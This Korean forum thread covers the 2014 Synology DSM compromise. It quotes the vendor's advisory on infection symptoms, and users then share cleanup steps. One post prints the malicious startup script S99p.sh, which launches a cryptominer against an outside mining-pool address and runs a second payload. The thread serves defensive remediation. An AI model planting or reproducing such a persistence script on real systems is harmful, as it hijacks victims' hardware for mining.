김준유Synology®?confirmed known security issues (reported as CVE-2013-6955 and CVE-2013-6987) which would cause compromise to file access authority in DSM. An updated DSM version resolving these issues has been released accordingly.
The followings are possible symptoms to appear on affected DiskStation and RackStation:
Exceptionally high CPU usage detected in Resource Monitor:
CPU resource occupied by processes such as dhcp.pid, minerd, synodns, PWNED, PWNEDb, PWNEDg, PWNEDm, or any processes with PWNED in their namesAppearance of non-Synology folder:
An automatically created shared folder with the name “startup”, or a non-Synology folder appearing under the path of “/root/PWNED”Redirection of the Web Station:
“Index.php” is redirected to an unexpected pageAppearance of non-Synology CGI program:
Files with meaningless names exist under the path of “/usr/syno/synoman”Appearance of non-Synology script file:
Non-Synology script files, such as?“S99p.sh”, appear under the path of “/usr/syno/etc/rc.d”
If users identify any of above situation, they are strongly encouraged to do the following:
For DiskStation or RackStation running on DSM 4.3, please follow the instruction?here?to REINSTALL?DSM 4.3-3827For DiskStation or RackStation running on DSM 4.0, it’s recommended to REINSTALL DSM 4.0-2259 or onward from Synology?Download CenterFor DiskStation or RackStation running on DSM 4.1 or DSM 4.2, it’s recommended to REINSTALL DSM 4.2-3243 or onward from Synology?Download Center
For other users who haven’t encountered above symptoms, it is recommended to go to
DSM > Control Panel > DSM Update?page, update to versions above to protect DiskStation from malicious attacks.
Synology has taken immediate actions to fix vulnerability at the point of identifying malicious attacks. As proliferation of cybercrime and increasingly sophisticated malware evolves, Synology continues to casting resources mitigating threats and dedicates to providing the most reliable solutions for users. If users still notice their DiskStation behaving suspiciously after being upgraded to the latest DSM version, please contact?********@********.com.
Sincerely,
Synology Development Team
?Copyright ? 2014 Synology Inc. All Rights Reserved. All other product names and company names
or logos mentioned in the e-mail are the properties of their respective ownerswww.synology.comPrivacy Policy
벌써 50대
일단 아래처럼 해주면 CPU사용율을 되돌릴 수 있습니다.
## S99p.sh를 찾아서 내용 확인하고 지웁니다. 내용에서 확인되는 PWNED는 소심하게 이름을 바꿨어요.
> cd /
> find / -name S99p.sh
/usr/syno/etc.defaults/rc.d/S99p.sh
> cat /usr/syno/etc.defaults/rc.d/S99p.sh
#!/bin/sh
su -c "cd /PWNED && ./PWNEDm -o 'stratum+tcp://46.244.18.176:9555' &" -s /bin/sh smmsp
su -c "cd /PWNED && ./PWNEDb &" -s /bin/sh smmsp
>mv PWNED PWNED_bak
>rm /usr/syno/etc.defaults/rc.d/S99p.sh
## CPU를 점거하는 백그라운드 프로세스를 찾아봅니다.
>find /proc -name "stat" | xargs grep "httpd-log.pid"
## 위 검색 결과에서 맨위 파일(PID)을 kill하면 나머지도 kill됩니다.
>kill 검색된 PID
원초적인 해결방법을 아시는 능력자께선 정보 공유좀 부탁드립니다! (__)
정품 유저라면. 최신버젼 업데이트 하면 간단히 해결되지만.
해놀 사용중이라면 어쩔 수 없이
외부포트 오픈을 포기 하거나.. 파일스테이션을 포기하거나..
이렇게 둘 중 하나는 포기 해야만 합니다.
-----
파일스테이션 작동 막는 방법은 아래 글에 있습니다.
http://www.2cpu.co.kr/bbs/board.php?bo_table=nas&wr_id=1988
/usr/syno/etc.defaults/rc.d/S99p.sh 파일
PWNED 폴더
lolz 폴더
/etc/rc.local 파일
일단은 그냥 이름 바꿔놨네요.
폴더 지우고 cgi 이름들 바꾸고 우선 임시로 했네요. 저는 .. 4대 돌리는 중인데 업데이트 안했던게 걸린거 같더군요.
임시로 하긴 했지만.. 아직도 불안합니다.
부팅 USB 를 새로 작성 하셔서 하시길 권해드립니다. 메인으로 쓰던 게 부팅할 때 보니 lolz 찾는거 같더군요..
우선 부팅 USB 부터 새로 만드시길....
저는 리소스 모니터도 안되고 정상적으로 사용이 불가하여 재설치 했습니다.